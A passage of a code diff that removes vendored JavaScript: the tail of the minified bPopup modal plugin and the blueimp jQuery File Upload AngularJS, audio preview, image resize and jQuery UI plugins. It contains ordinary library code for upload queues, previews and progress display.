."+a.closeClass,"click."+e,r);a.modalClose&&c(".b-modal."+e).css("cursor","pointer").bind("click",r);N||!a.follow[0]&&!a.follow[1]||k.bind("scroll."+e,function(){if(h.x||h.y){var d={};h.x&&(d.left=a.follow[0]?m(!g):"auto");h.y&&(d.top=a.follow[1]?p(!g):"auto");b.dequeue().animate(d,a.followSpeed,a.followEasing)}}).bind("resize."+e,function(){I()});a.escClose&&f.bind("keydown."+e,function(a){27==a.which&&r()})}function G(d){function c(e){b.css({display:"block",opacity:1}).animate(e,a.speed,a.easing,function(){K(d)})}switch(d?a.transition:a.transitionClose||a.transition){case "slideIn":c({left:d?m(!(!a.follow[0]&&n||g)):f.scrollLeft()-(u||b.outerWidth(!0))-200});break;case "slideBack":c({left:d?m(!(!a.follow[0]&&n||g)):f.scrollLeft()+w+200});break;case "slideDown":c({top:d?p(!(!a.follow[1]&&q||g)):f.scrollTop()-(t||b.outerHeight(!0))-200});break;case "slideUp":c({top:d?p(!(!a.follow[1]&&q||g)):f.scrollTop()+y+200});break;default:b.stop().fadeTo(a.speed,d?1:0,function(){K(d)})}}function K(d){d?(M(),l(E),a.autoClose&&(H=setTimeout(r,a.autoClose))):(b.hide(),l(a.onClose),a.loadUrl&&(a.contentContainer.empty(),b.css({height:"auto",width:"auto"})))}function m(a){return a?x+f.scrollLeft():x}function p(a){return a?z+f.scrollTop():z}function l(a,e){c.isFunction(a)&&a.call(b,e)}function C(){z=q?a.position[1]:Math.max(0,(y-b.outerHeight(!0))/2-a.amsl);x=n?a.position[0]:(w-b.outerWidth(!0))/2;h=D()}function D(){return{x:w>b.outerWidth(!0),y:y>b.outerHeight(!0)}}c.isFunction(A)&&(E=A,A=null);var a=c.extend({},c.fn.bPopup.defaults,A);a.scrollBar||c("html").css("overflow","hidden");var b=this,f=c(document),k=c(window),y=k.height(),w=k.width(),N=/OS 6(_\d)+/i.test(navigator.userAgent),v=0,e,h,q,n,g,z,x,t,u,J,H;b.close=function(){r()};b.reposition=function(a){I(a)};return b.each(function(){c(this).data("bPopup")||(l(a.onOpen),v=(k.data("bPopup")||0)+1,e="__b-popup"+v+"__",q="auto"!==a.position[1],n="auto"!==a.position[0],g="fixed"===a.positionStyle,t=b.outerHeight(!0),u=b.outerWidth(!0),a.loadUrl?L():B())})};c.fn.bPopup.defaults={amsl:50,appending:!0,appendTo:"body",autoClose:!1,closeClass:"b-close",content:"ajax",contentContainer:!1,easing:"swing",escClose:!0,follow:[!0,!0],followEasing:"swing",followSpeed:500,iframeAttr:'scrolling="no" frameborder="0"',loadCallback:!1,loadData:!1,loadUrl:!1,modal:!0,modalClose:!0,modalColor:"#000",onClose:!1,onOpen:!1,opacity:.7,position:["auto","auto"],positionStyle:"absolute",scrollBar:!0,speed:250,transition:"fadeIn",transitionClose:!1,zIndex:9997}})(jQuery);
|
||||
@@ -1,425 +0,0 @@
|
||||
/*
|
||||
* jQuery File Upload AngularJS Plugin
|
||||
* https://github.com/blueimp/jQuery-File-Upload
|
||||
*
|
||||
* Copyright 2013, Sebastian Tschan
|
||||
* https://blueimp.net
|
||||
*
|
||||
* Licensed under the MIT license:
|
||||
* http://www.opensource.org/licenses/MIT
|
||||
*/
|
||||
|
||||
/* jshint nomen:false */
|
||||
/* global define, angular */
|
||||
|
||||
(function (factory) {
|
||||
'use strict';
|
||||
if (typeof define === 'function' && define.amd) {
|
||||
// Register as an anonymous AMD module:
|
||||
define([
|
||||
'jquery.fileupload.js',
|
||||
'angular',
|
||||
'./jquery.fileupload-image',
|
||||
'./jquery.fileupload-audio',
|
||||
'./jquery.fileupload-video',
|
||||
'./jquery.fileupload-validate'
|
||||
], factory);
|
||||
} else {
|
||||
factory();
|
||||
}
|
||||
}(function () {
|
||||
'use strict';
|
||||
|
||||
angular.module('blueimp.fileupload', [])
|
||||
|
||||
// The fileUpload service provides configuration options
|
||||
// for the fileUpload directive and default handlers for
|
||||
// File Upload events:
|
||||
.provider('fileUpload', function () {
|
||||
var scopeEvalAsync = function (expression) {
|
||||
var scope = angular.element(this)
|
||||
.fileupload('option', 'scope');
|
||||
// Schedule a new $digest cycle if not already inside of one
|
||||
// and evaluate the given expression:
|
||||
scope.$evalAsync(expression);
|
||||
},
|
||||
addFileMethods = function (scope, data) {
|
||||
var files = data.files,
|
||||
file = files[0];
|
||||
angular.forEach(files, function (file, index) {
|
||||
file._index = index;
|
||||
file.$state = function () {
|
||||
return data.state();
|
||||
};
|
||||
file.$processing = function () {
|
||||
return data.processing();
|
||||
};
|
||||
file.$progress = function () {
|
||||
return data.progress();
|
||||
};
|
||||
file.$response = function () {
|
||||
return data.response();
|
||||
};
|
||||
});
|
||||
file.$submit = function () {
|
||||
if (!file.error) {
|
||||
return data.submit();
|
||||
}
|
||||
};
|
||||
file.$cancel = function () {
|
||||
return data.abort();
|
||||
};
|
||||
},
|
||||
$config;
|
||||
$config = this.defaults = {
|
||||
handleResponse: function (e, data) {
|
||||
var files = data.result && data.result.files;
|
||||
if (files) {
|
||||
data.scope.replace(data.files, files);
|
||||
} else if (data.errorThrown ||
|
||||
data.textStatus === 'error') {
|
||||
data.files[0].error = data.errorThrown ||
|
||||
data.textStatus;
|
||||
}
|
||||
},
|
||||
add: function (e, data) {
|
||||
if (e.isDefaultPrevented()) {
|
||||
return false;
|
||||
}
|
||||
var scope = data.scope,
|
||||
filesCopy = [];
|
||||
angular.forEach(data.files, function (file) {
|
||||
filesCopy.push(file);
|
||||
});
|
||||
scope.$parent.$applyAsync(function () {
|
||||
addFileMethods(scope, data);
|
||||
var method = scope.option('prependFiles') ?
|
||||
'unshift' : 'push';
|
||||
Array.prototype[method].apply(scope.queue, data.files);
|
||||
});
|
||||
data.process(function () {
|
||||
return scope.process(data);
|
||||
}).always(function () {
|
||||
scope.$parent.$applyAsync(function () {
|
||||
addFileMethods(scope, data);
|
||||
scope.replace(filesCopy, data.files);
|
||||
});
|
||||
}).then(function () {
|
||||
if ((scope.option('autoUpload') ||
|
||||
data.autoUpload) &&
|
||||
data.autoUpload !== false) {
|
||||
data.submit();
|
||||
}
|
||||
});
|
||||
},
|
||||
done: function (e, data) {
|
||||
if (e.isDefaultPrevented()) {
|
||||
return false;
|
||||
}
|
||||
var that = this;
|
||||
data.scope.$apply(function () {
|
||||
data.handleResponse.call(that, e, data);
|
||||
});
|
||||
},
|
||||
fail: function (e, data) {
|
||||
if (e.isDefaultPrevented()) {
|
||||
return false;
|
||||
}
|
||||
var that = this,
|
||||
scope = data.scope;
|
||||
if (data.errorThrown === 'abort') {
|
||||
scope.clear(data.files);
|
||||
return;
|
||||
}
|
||||
scope.$apply(function () {
|
||||
data.handleResponse.call(that, e, data);
|
||||
});
|
||||
},
|
||||
stop: scopeEvalAsync,
|
||||
processstart: scopeEvalAsync,
|
||||
processstop: scopeEvalAsync,
|
||||
getNumberOfFiles: function () {
|
||||
var scope = this.scope;
|
||||
return scope.queue.length - scope.processing();
|
||||
},
|
||||
dataType: 'json',
|
||||
autoUpload: false
|
||||
};
|
||||
this.$get = [
|
||||
function () {
|
||||
return {
|
||||
defaults: $config
|
||||
};
|
||||
}
|
||||
];
|
||||
})
|
||||
|
||||
// Format byte numbers to readable presentations:
|
||||
.provider('formatFileSizeFilter', function () {
|
||||
var $config = {
|
||||
// Byte units following the IEC format
|
||||
// http://en.wikipedia.org/wiki/Kilobyte
|
||||
units: [
|
||||
{size: 1000000000, suffix: ' GB'},
|
||||
{size: 1000000, suffix: ' MB'},
|
||||
{size: 1000, suffix: ' KB'}
|
||||
]
|
||||
};
|
||||
this.defaults = $config;
|
||||
this.$get = function () {
|
||||
return function (bytes) {
|
||||
if (!angular.isNumber(bytes)) {
|
||||
return '';
|
||||
}
|
||||
var unit = true,
|
||||
i = 0,
|
||||
prefix,
|
||||
suffix;
|
||||
while (unit) {
|
||||
unit = $config.units[i];
|
||||
prefix = unit.prefix || '';
|
||||
suffix = unit.suffix || '';
|
||||
if (i === $config.units.length - 1 || bytes >= unit.size) {
|
||||
return prefix + (bytes / unit.size).toFixed(2) + suffix;
|
||||
}
|
||||
i += 1;
|
||||
}
|
||||
};
|
||||
};
|
||||
})
|
||||
|
||||
// The FileUploadController initializes the fileupload widget and
|
||||
// provides scope methods to control the File Upload functionality:
|
||||
.controller('FileUploadController', [
|
||||
'$scope', '$element', '$attrs', '$window', 'fileUpload',
|
||||
function ($scope, $element, $attrs, $window, fileUpload) {
|
||||
var uploadMethods = {
|
||||
progress: function () {
|
||||
return $element.fileupload('progress');
|
||||
},
|
||||
active: function () {
|
||||
return $element.fileupload('active');
|
||||
},
|
||||
option: function (option, data) {
|
||||
if (arguments.length === 1) {
|
||||
return $element.fileupload('option', option);
|
||||
}
|
||||
$element.fileupload('option', option, data);
|
||||
},
|
||||
add: function (data) {
|
||||
return $element.fileupload('add', data);
|
||||
},
|
||||
send: function (data) {
|
||||
return $element.fileupload('send', data);
|
||||
},
|
||||
process: function (data) {
|
||||
return $element.fileupload('process', data);
|
||||
},
|
||||
processing: function (data) {
|
||||
return $element.fileupload('processing', data);
|
||||
}
|
||||
};
|
||||
$scope.disabled = !$window.jQuery.support.fileInput;
|
||||
$scope.queue = $scope.queue || [];
|
||||
$scope.clear = function (files) {
|
||||
var queue = this.queue,
|
||||
i = queue.length,
|
||||
file = files,
|
||||
length = 1;
|
||||
if (angular.isArray(files)) {
|
||||
file = files[0];
|
||||
length = files.length;
|
||||
}
|
||||
while (i) {
|
||||
i -= 1;
|
||||
if (queue[i] === file) {
|
||||
return queue.splice(i, length);
|
||||
}
|
||||
}
|
||||
};
|
||||
$scope.replace = function (oldFiles, newFiles) {
|
||||
var queue = this.queue,
|
||||
file = oldFiles[0],
|
||||
i,
|
||||
j;
|
||||
for (i = 0; i < queue.length; i += 1) {
|
||||
if (queue[i] === file) {
|
||||
for (j = 0; j < newFiles.length; j += 1) {
|
||||
queue[i + j] = newFiles[j];
|
||||
}
|
||||
return;
|
||||
}
|
||||
}
|
||||
};
|
||||
$scope.applyOnQueue = function (method) {
|
||||
var list = this.queue.slice(0),
|
||||
i,
|
||||
file;
|
||||
for (i = 0; i < list.length; i += 1) {
|
||||
file = list[i];
|
||||
if (file[method]) {
|
||||
file[method]();
|
||||
}
|
||||
}
|
||||
};
|
||||
$scope.submit = function () {
|
||||
this.applyOnQueue('$submit');
|
||||
};
|
||||
$scope.cancel = function () {
|
||||
this.applyOnQueue('$cancel');
|
||||
};
|
||||
// Add upload methods to the scope:
|
||||
angular.extend($scope, uploadMethods);
|
||||
// The fileupload widget will initialize with
|
||||
// the options provided via "data-"-parameters,
|
||||
// as well as those given via options object:
|
||||
$element.fileupload(angular.extend(
|
||||
{scope: $scope},
|
||||
fileUpload.defaults
|
||||
)).on('fileuploadadd', function (e, data) {
|
||||
data.scope = $scope;
|
||||
}).on('fileuploadfail', function (e, data) {
|
||||
if (data.errorThrown === 'abort') {
|
||||
return;
|
||||
}
|
||||
if (data.dataType &&
|
||||
data.dataType.indexOf('json') === data.dataType.length - 4) {
|
||||
try {
|
||||
data.result = angular.fromJson(data.jqXHR.responseText);
|
||||
} catch (ignore) {}
|
||||
}
|
||||
}).on([
|
||||
'fileuploadadd',
|
||||
'fileuploadsubmit',
|
||||
'fileuploadsend',
|
||||
'fileuploaddone',
|
||||
'fileuploadfail',
|
||||
'fileuploadalways',
|
||||
'fileuploadprogress',
|
||||
'fileuploadprogressall',
|
||||
'fileuploadstart',
|
||||
'fileuploadstop',
|
||||
'fileuploadchange',
|
||||
'fileuploadpaste',
|
||||
'fileuploaddrop',
|
||||
'fileuploaddragover',
|
||||
'fileuploadchunksend',
|
||||
'fileuploadchunkdone',
|
||||
'fileuploadchunkfail',
|
||||
'fileuploadchunkalways',
|
||||
'fileuploadprocessstart',
|
||||
'fileuploadprocess',
|
||||
'fileuploadprocessdone',
|
||||
'fileuploadprocessfail',
|
||||
'fileuploadprocessalways',
|
||||
'fileuploadprocessstop'
|
||||
].join(' '), function (e, data) {
|
||||
$scope.$parent.$applyAsync(function () {
|
||||
if ($scope.$emit(e.type, data).defaultPrevented) {
|
||||
e.preventDefault();
|
||||
}
|
||||
});
|
||||
}).on('remove', function () {
|
||||
// Remove upload methods from the scope,
|
||||
// when the widget is removed:
|
||||
var method;
|
||||
for (method in uploadMethods) {
|
||||
if (uploadMethods.hasOwnProperty(method)) {
|
||||
delete $scope[method];
|
||||
}
|
||||
}
|
||||
});
|
||||
// Observe option changes:
|
||||
$scope.$watch(
|
||||
$attrs.fileUpload,
|
||||
function (newOptions) {
|
||||
if (newOptions) {
|
||||
$element.fileupload('option', newOptions);
|
||||
}
|
||||
}
|
||||
);
|
||||
}
|
||||
])
|
||||
|
||||
// Provide File Upload progress feedback:
|
||||
.controller('FileUploadProgressController', [
|
||||
'$scope', '$attrs', '$parse',
|
||||
function ($scope, $attrs, $parse) {
|
||||
var fn = $parse($attrs.fileUploadProgress),
|
||||
update = function () {
|
||||
var progress = fn($scope);
|
||||
if (!progress || !progress.total) {
|
||||
return;
|
||||
}
|
||||
$scope.num = Math.floor(
|
||||
progress.loaded / progress.total * 100
|
||||
);
|
||||
};
|
||||
update();
|
||||
$scope.$watch(
|
||||
$attrs.fileUploadProgress + '.loaded',
|
||||
function (newValue, oldValue) {
|
||||
if (newValue !== oldValue) {
|
||||
update();
|
||||
}
|
||||
}
|
||||
);
|
||||
}
|
||||
])
|
||||
|
||||
// Display File Upload previews:
|
||||
.controller('FileUploadPreviewController', [
|
||||
'$scope', '$element', '$attrs',
|
||||
function ($scope, $element, $attrs) {
|
||||
$scope.$watch(
|
||||
$attrs.fileUploadPreview + '.preview',
|
||||
function (preview) {
|
||||
$element.empty();
|
||||
if (preview) {
|
||||
$element.append(preview);
|
||||
}
|
||||
}
|
||||
);
|
||||
}
|
||||
])
|
||||
|
||||
.directive('fileUpload', function () {
|
||||
return {
|
||||
controller: 'FileUploadController',
|
||||
scope: true
|
||||
};
|
||||
})
|
||||
|
||||
.directive('fileUploadProgress', function () {
|
||||
return {
|
||||
controller: 'FileUploadProgressController',
|
||||
scope: true
|
||||
};
|
||||
})
|
||||
|
||||
.directive('fileUploadPreview', function () {
|
||||
return {
|
||||
controller: 'FileUploadPreviewController'
|
||||
};
|
||||
})
|
||||
|
||||
// Enhance the HTML5 download attribute to
|
||||
// allow drag&drop of files to the desktop:
|
||||
.directive('download', function () {
|
||||
return function (scope, elm) {
|
||||
elm.on('dragstart', function (e) {
|
||||
try {
|
||||
e.originalEvent.dataTransfer.setData(
|
||||
'DownloadURL',
|
||||
[
|
||||
'application/octet-stream',
|
||||
elm.prop('download'),
|
||||
elm.prop('href')
|
||||
].join(':')
|
||||
);
|
||||
} catch (ignore) {}
|
||||
});
|
||||
};
|
||||
});
|
||||
|
||||
}));
|
||||
@@ -1,112 +0,0 @@
|
||||
/*
|
||||
* jQuery File Upload Audio Preview Plugin
|
||||
* https://github.com/blueimp/jQuery-File-Upload
|
||||
*
|
||||
* Copyright 2013, Sebastian Tschan
|
||||
* https://blueimp.net
|
||||
*
|
||||
* Licensed under the MIT license:
|
||||
* http://www.opensource.org/licenses/MIT
|
||||
*/
|
||||
|
||||
/* jshint nomen:false */
|
||||
/* global define, require, window, document */
|
||||
|
||||
(function (factory) {
|
||||
'use strict';
|
||||
if (typeof define === 'function' && define.amd) {
|
||||
// Register as an anonymous AMD module:
|
||||
define([
|
||||
'jquery.fileupload.js',
|
||||
'load-image',
|
||||
'./jquery.fileupload-process'
|
||||
], factory);
|
||||
} else if (typeof exports === 'object') {
|
||||
// Node/CommonJS:
|
||||
factory(
|
||||
require('jquery'),
|
||||
require('load-image')
|
||||
);
|
||||
} else {
|
||||
// Browser globals:
|
||||
factory(
|
||||
window.jQuery,
|
||||
window.loadImage
|
||||
);
|
||||
}
|
||||
}(function ($, loadImage) {
|
||||
'use strict';
|
||||
|
||||
// Prepend to the default processQueue:
|
||||
$.blueimp.fileupload.prototype.options.processQueue.unshift(
|
||||
{
|
||||
action: 'loadAudio',
|
||||
// Use the action as prefix for the "@" options:
|
||||
prefix: true,
|
||||
fileTypes: '@',
|
||||
maxFileSize: '@',
|
||||
disabled: '@disableAudioPreview'
|
||||
},
|
||||
{
|
||||
action: 'setAudio',
|
||||
name: '@audioPreviewName',
|
||||
disabled: '@disableAudioPreview'
|
||||
}
|
||||
);
|
||||
|
||||
// The File Upload Audio Preview plugin extends the fileupload widget
|
||||
// with audio preview functionality:
|
||||
$.widget('blueimp.fileupload', $.blueimp.fileupload, {
|
||||
|
||||
options: {
|
||||
// The regular expression for the types of audio files to load,
|
||||
// matched against the file type:
|
||||
loadAudioFileTypes: /^audio\/.*$/
|
||||
},
|
||||
|
||||
_audioElement: document.createElement('audio'),
|
||||
|
||||
processActions: {
|
||||
|
||||
// Loads the audio file given via data.files and data.index
|
||||
// as audio element if the browser supports playing it.
|
||||
// Accepts the options fileTypes (regular expression)
|
||||
// and maxFileSize (integer) to limit the files to load:
|
||||
loadAudio: function (data, options) {
|
||||
if (options.disabled) {
|
||||
return data;
|
||||
}
|
||||
var file = data.files[data.index],
|
||||
url,
|
||||
audio;
|
||||
if (this._audioElement.canPlayType &&
|
||||
this._audioElement.canPlayType(file.type) &&
|
||||
($.type(options.maxFileSize) !== 'number' ||
|
||||
file.size <= options.maxFileSize) &&
|
||||
(!options.fileTypes ||
|
||||
options.fileTypes.test(file.type))) {
|
||||
url = loadImage.createObjectURL(file);
|
||||
if (url) {
|
||||
audio = this._audioElement.cloneNode(false);
|
||||
audio.src = url;
|
||||
audio.controls = true;
|
||||
data.audio = audio;
|
||||
return data;
|
||||
}
|
||||
}
|
||||
return data;
|
||||
},
|
||||
|
||||
// Sets the audio element as a property of the file object:
|
||||
setAudio: function (data, options) {
|
||||
if (data.audio && !options.disabled) {
|
||||
data.files[data.index][options.name || 'preview'] = data.audio;
|
||||
}
|
||||
return data;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
});
|
||||
|
||||
}));
|
||||
@@ -1,321 +0,0 @@
|
||||
/*
|
||||
* jQuery File Upload Image Preview & Resize Plugin
|
||||
* https://github.com/blueimp/jQuery-File-Upload
|
||||
*
|
||||
* Copyright 2013, Sebastian Tschan
|
||||
* https://blueimp.net
|
||||
*
|
||||
* Licensed under the MIT license:
|
||||
* http://www.opensource.org/licenses/MIT
|
||||
*/
|
||||
|
||||
/* jshint nomen:false */
|
||||
/* global define, require, window, Blob */
|
||||
|
||||
(function (factory) {
|
||||
'use strict';
|
||||
if (typeof define === 'function' && define.amd) {
|
||||
// Register as an anonymous AMD module:
|
||||
define([
|
||||
'jquery.fileupload.js',
|
||||
'load-image',
|
||||
'load-image-meta',
|
||||
'load-image-exif',
|
||||
'load-image-ios',
|
||||
'canvas-to-blob',
|
||||
'./jquery.fileupload-process'
|
||||
], factory);
|
||||
} else if (typeof exports === 'object') {
|
||||
// Node/CommonJS:
|
||||
factory(
|
||||
require('jquery'),
|
||||
require('load-image')
|
||||
);
|
||||
} else {
|
||||
// Browser globals:
|
||||
factory(
|
||||
window.jQuery,
|
||||
window.loadImage
|
||||
);
|
||||
}
|
||||
}(function ($, loadImage) {
|
||||
'use strict';
|
||||
|
||||
// Prepend to the default processQueue:
|
||||
$.blueimp.fileupload.prototype.options.processQueue.unshift(
|
||||
{
|
||||
action: 'loadImageMetaData',
|
||||
disableImageHead: '@',
|
||||
disableExif: '@',
|
||||
disableExifThumbnail: '@',
|
||||
disableExifSub: '@',
|
||||
disableExifGps: '@',
|
||||
disabled: '@disableImageMetaDataLoad'
|
||||
},
|
||||
{
|
||||
action: 'loadImage',
|
||||
// Use the action as prefix for the "@" options:
|
||||
prefix: true,
|
||||
fileTypes: '@',
|
||||
maxFileSize: '@',
|
||||
noRevoke: '@',
|
||||
disabled: '@disableImageLoad'
|
||||
},
|
||||
{
|
||||
action: 'resizeImage',
|
||||
// Use "image" as prefix for the "@" options:
|
||||
prefix: 'image',
|
||||
maxWidth: '@',
|
||||
maxHeight: '@',
|
||||
minWidth: '@',
|
||||
minHeight: '@',
|
||||
crop: '@',
|
||||
orientation: '@',
|
||||
forceResize: '@',
|
||||
disabled: '@disableImageResize'
|
||||
},
|
||||
{
|
||||
action: 'saveImage',
|
||||
quality: '@imageQuality',
|
||||
type: '@imageType',
|
||||
disabled: '@disableImageResize'
|
||||
},
|
||||
{
|
||||
action: 'saveImageMetaData',
|
||||
disabled: '@disableImageMetaDataSave'
|
||||
},
|
||||
{
|
||||
action: 'resizeImage',
|
||||
// Use "preview" as prefix for the "@" options:
|
||||
prefix: 'preview',
|
||||
maxWidth: '@',
|
||||
maxHeight: '@',
|
||||
minWidth: '@',
|
||||
minHeight: '@',
|
||||
crop: '@',
|
||||
orientation: '@',
|
||||
thumbnail: '@',
|
||||
canvas: '@',
|
||||
disabled: '@disableImagePreview'
|
||||
},
|
||||
{
|
||||
action: 'setImage',
|
||||
name: '@imagePreviewName',
|
||||
disabled: '@disableImagePreview'
|
||||
},
|
||||
{
|
||||
action: 'deleteImageReferences',
|
||||
disabled: '@disableImageReferencesDeletion'
|
||||
}
|
||||
);
|
||||
|
||||
// The File Upload Resize plugin extends the fileupload widget
|
||||
// with image resize functionality:
|
||||
$.widget('blueimp.fileupload', $.blueimp.fileupload, {
|
||||
|
||||
options: {
|
||||
// The regular expression for the types of images to load:
|
||||
// matched against the file type:
|
||||
loadImageFileTypes: /^image\/(gif|jpeg|png|svg\+xml)$/,
|
||||
// The maximum file size of images to load:
|
||||
loadImageMaxFileSize: 10000000, // 10MB
|
||||
// The maximum width of resized images:
|
||||
imageMaxWidth: 1920,
|
||||
// The maximum height of resized images:
|
||||
imageMaxHeight: 1080,
|
||||
// Defines the image orientation (1-8) or takes the orientation
|
||||
// value from Exif data if set to true:
|
||||
imageOrientation: false,
|
||||
// Define if resized images should be cropped or only scaled:
|
||||
imageCrop: false,
|
||||
// Disable the resize image functionality by default:
|
||||
disableImageResize: true,
|
||||
// The maximum width of the preview images:
|
||||
previewMaxWidth: 80,
|
||||
// The maximum height of the preview images:
|
||||
previewMaxHeight: 80,
|
||||
// Defines the preview orientation (1-8) or takes the orientation
|
||||
// value from Exif data if set to true:
|
||||
previewOrientation: true,
|
||||
// Create the preview using the Exif data thumbnail:
|
||||
previewThumbnail: true,
|
||||
// Define if preview images should be cropped or only scaled:
|
||||
previewCrop: false,
|
||||
// Define if preview images should be resized as canvas elements:
|
||||
previewCanvas: true
|
||||
},
|
||||
|
||||
processActions: {
|
||||
|
||||
// Loads the image given via data.files and data.index
|
||||
// as img element, if the browser supports the File API.
|
||||
// Accepts the options fileTypes (regular expression)
|
||||
// and maxFileSize (integer) to limit the files to load:
|
||||
loadImage: function (data, options) {
|
||||
if (options.disabled) {
|
||||
return data;
|
||||
}
|
||||
var that = this,
|
||||
file = data.files[data.index],
|
||||
dfd = $.Deferred();
|
||||
if (($.type(options.maxFileSize) === 'number' &&
|
||||
file.size > options.maxFileSize) ||
|
||||
(options.fileTypes &&
|
||||
!options.fileTypes.test(file.type)) ||
|
||||
!loadImage(
|
||||
file,
|
||||
function (img) {
|
||||
if (img.src) {
|
||||
data.img = img;
|
||||
}
|
||||
dfd.resolveWith(that, [data]);
|
||||
},
|
||||
options
|
||||
)) {
|
||||
return data;
|
||||
}
|
||||
return dfd.promise();
|
||||
},
|
||||
|
||||
// Resizes the image given as data.canvas or data.img
|
||||
// and updates data.canvas or data.img with the resized image.
|
||||
// Also stores the resized image as preview property.
|
||||
// Accepts the options maxWidth, maxHeight, minWidth,
|
||||
// minHeight, canvas and crop:
|
||||
resizeImage: function (data, options) {
|
||||
if (options.disabled || !(data.canvas || data.img)) {
|
||||
return data;
|
||||
}
|
||||
options = $.extend({canvas: true}, options);
|
||||
var that = this,
|
||||
dfd = $.Deferred(),
|
||||
img = (options.canvas && data.canvas) || data.img,
|
||||
resolve = function (newImg) {
|
||||
if (newImg && (newImg.width !== img.width ||
|
||||
newImg.height !== img.height ||
|
||||
options.forceResize)) {
|
||||
data[newImg.getContext ? 'canvas' : 'img'] = newImg;
|
||||
}
|
||||
data.preview = newImg;
|
||||
dfd.resolveWith(that, [data]);
|
||||
},
|
||||
thumbnail;
|
||||
if (data.exif) {
|
||||
if (options.orientation === true) {
|
||||
options.orientation = data.exif.get('Orientation');
|
||||
}
|
||||
if (options.thumbnail) {
|
||||
thumbnail = data.exif.get('Thumbnail');
|
||||
if (thumbnail) {
|
||||
loadImage(thumbnail, resolve, options);
|
||||
return dfd.promise();
|
||||
}
|
||||
}
|
||||
// Prevent orienting the same image twice:
|
||||
if (data.orientation) {
|
||||
delete options.orientation;
|
||||
} else {
|
||||
data.orientation = options.orientation;
|
||||
}
|
||||
}
|
||||
if (img) {
|
||||
resolve(loadImage.scale(img, options));
|
||||
return dfd.promise();
|
||||
}
|
||||
return data;
|
||||
},
|
||||
|
||||
// Saves the processed image given as data.canvas
|
||||
// inplace at data.index of data.files:
|
||||
saveImage: function (data, options) {
|
||||
if (!data.canvas || options.disabled) {
|
||||
return data;
|
||||
}
|
||||
var that = this,
|
||||
file = data.files[data.index],
|
||||
dfd = $.Deferred();
|
||||
if (data.canvas.toBlob) {
|
||||
data.canvas.toBlob(
|
||||
function (blob) {
|
||||
if (!blob.name) {
|
||||
if (file.type === blob.type) {
|
||||
blob.name = file.name;
|
||||
} else if (file.name) {
|
||||
blob.name = file.name.replace(
|
||||
/\.\w+$/,
|
||||
'.' + blob.type.substr(6)
|
||||
);
|
||||
}
|
||||
}
|
||||
// Don't restore invalid meta data:
|
||||
if (file.type !== blob.type) {
|
||||
delete data.imageHead;
|
||||
}
|
||||
// Store the created blob at the position
|
||||
// of the original file in the files list:
|
||||
data.files[data.index] = blob;
|
||||
dfd.resolveWith(that, [data]);
|
||||
},
|
||||
options.type || file.type,
|
||||
options.quality
|
||||
);
|
||||
} else {
|
||||
return data;
|
||||
}
|
||||
return dfd.promise();
|
||||
},
|
||||
|
||||
loadImageMetaData: function (data, options) {
|
||||
if (options.disabled) {
|
||||
return data;
|
||||
}
|
||||
var that = this,
|
||||
dfd = $.Deferred();
|
||||
loadImage.parseMetaData(data.files[data.index], function (result) {
|
||||
$.extend(data, result);
|
||||
dfd.resolveWith(that, [data]);
|
||||
}, options);
|
||||
return dfd.promise();
|
||||
},
|
||||
|
||||
saveImageMetaData: function (data, options) {
|
||||
if (!(data.imageHead && data.canvas &&
|
||||
data.canvas.toBlob && !options.disabled)) {
|
||||
return data;
|
||||
}
|
||||
var file = data.files[data.index],
|
||||
blob = new Blob([
|
||||
data.imageHead,
|
||||
// Resized images always have a head size of 20 bytes,
|
||||
// including the JPEG marker and a minimal JFIF header:
|
||||
this._blobSlice.call(file, 20)
|
||||
], {type: file.type});
|
||||
blob.name = file.name;
|
||||
data.files[data.index] = blob;
|
||||
return data;
|
||||
},
|
||||
|
||||
// Sets the resized version of the image as a property of the
|
||||
// file object, must be called after "saveImage":
|
||||
setImage: function (data, options) {
|
||||
if (data.preview && !options.disabled) {
|
||||
data.files[data.index][options.name || 'preview'] = data.preview;
|
||||
}
|
||||
return data;
|
||||
},
|
||||
|
||||
deleteImageReferences: function (data, options) {
|
||||
if (!options.disabled) {
|
||||
delete data.img;
|
||||
delete data.canvas;
|
||||
delete data.preview;
|
||||
delete data.imageHead;
|
||||
}
|
||||
return data;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
});
|
||||
|
||||
}));
|
||||
@@ -1,155 +0,0 @@
|
||||
/*
|
||||
* jQuery File Upload jQuery UI Plugin
|
||||
* https://github.com/blueimp/jQuery-File-Upload
|
||||
*
|
||||
* Copyright 2013, Sebastian Tschan
|
||||
* https://blueimp.net
|
||||
*
|
||||
* Licensed under the MIT license:
|
||||
* http://www.opensource.org/licenses/MIT
|
||||
*/
|
||||
|
||||
/* jshint nomen:false */
|
||||
/* global define, require, window */
|
||||
|
||||
(function (factory) {
|
||||
'use strict';
|
||||
if (typeof define === 'function' && define.amd) {
|
||||
// Register as an anonymous AMD module:
|
||||
define(['jquery.fileupload.js', './jquery.fileupload-ui'], factory);
|
||||
} else if (typeof exports === 'object') {
|
||||
// Node/CommonJS:
|
||||
factory(require('jquery'));
|
||||
} else {
|
||||
// Browser globals:
|
||||
factory(window.jQuery);
|
||||
}
|
||||
}(function ($) {
|
||||
'use strict';
|
||||
|
||||
$.widget('blueimp.fileupload', $.blueimp.fileupload, {
|
||||
|
||||
options: {
|
||||
processdone: function (e, data) {
|
||||
data.context.find('.start').button('enable');
|
||||
},
|
||||
progress: function (e, data) {
|
||||
if (data.context) {
|
||||
data.context.find('.progress').progressbar(
|
||||
'option',
|
||||
'value',
|
||||
parseInt(data.loaded / data.total * 100, 10)
|
||||
);
|
||||
}
|
||||
},
|
||||
progressall: function (e, data) {
|
||||
var $this = $(this);
|
||||
$this.find('.fileupload-progress')
|
||||
.find('.progress').progressbar(
|
||||
'option',
|
||||
'value',
|
||||
parseInt(data.loaded / data.total * 100, 10)
|
||||
).end()
|
||||
.find('.progress-extended').each(function () {
|
||||
$(this).html(
|
||||
($this.data('blueimp-fileupload') ||
|
||||
$this.data('fileupload'))
|
||||
._renderExtendedProgress(data)
|
||||
);
|
||||
});
|
||||
}
|
||||
},
|
||||
|
||||
_renderUpload: function (func, files) {
|
||||
var node = this._super(func, files),
|
||||
showIconText = $(window).width() > 480;
|
||||
node.find('.progress').empty().progressbar();
|
||||
node.find('.start').button({
|
||||
icons: {primary: 'ui-icon-circle-arrow-e'},
|
||||
text: showIconText
|
||||
});
|
||||
node.find('.cancel').button({
|
||||
icons: {primary: 'ui-icon-cancel'},
|
||||
text: showIconText
|
||||
});
|
||||
if (node.hasClass('fade')) {
|
||||
node.hide();
|
||||
}
|
||||
return node;
|
||||
},
|
